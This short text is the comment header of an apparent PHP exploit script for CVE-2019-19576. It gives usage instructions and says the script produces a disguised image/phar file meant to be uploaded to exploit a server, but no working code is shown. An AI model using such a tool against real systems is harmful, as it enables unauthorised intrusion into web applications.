#Other: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19576
#Usage: php inject.php
#Output: image.jpg.phar is the file to be used for upload and exploitation

#This script assumes no special transforming is done on the image for this specific CVE.
#It can be modified however for different sizes and so on (x,y vars).
